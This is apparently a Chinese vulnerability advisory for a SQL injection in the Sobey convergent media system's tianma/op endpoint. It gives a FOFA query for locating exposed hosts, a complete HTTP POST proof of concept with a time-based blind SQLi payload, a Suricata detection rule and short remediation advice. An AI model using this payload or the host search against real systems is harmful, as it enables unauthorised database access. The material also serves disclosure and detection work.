索贝融媒体系统 tianmaop 存在SQL注入漏洞¶

索贝融媒体系统 tianmaop 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本¶

索贝融媒体系统

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="SOBEY-融媒体"

POC/EXP：

POST /sobey-mchEditor/js/%2e%2e/tianma/op HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

opstatus=up&siteCode=1&token=1&ids=1') OR (SELECT * FROM (SELECT(SLEEP(5)))x)--+x

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"Sobey Media System - MySQL Time-Based SQLi via tianma/op";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; pcre:"/sobey-mchEditor\/js\/%2e%2e\/tianma\/op/i";
    http.client_body; content:"ids=";
    pcre:"/ids=[^&]*'\)\s+OR\s+\(SELECT\s+\*\s+FROM\s+\(SELECT\(SLEEP\(\d+\)\)\)x\)--\+x/i";
    metadata:service http;
    metadata:affected_product "索贝融媒体系统";
    metadata:vulnerability_type "MySQL Time-Based SQL Injection";
    classtype:sql-injection;
    sid:1000436;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。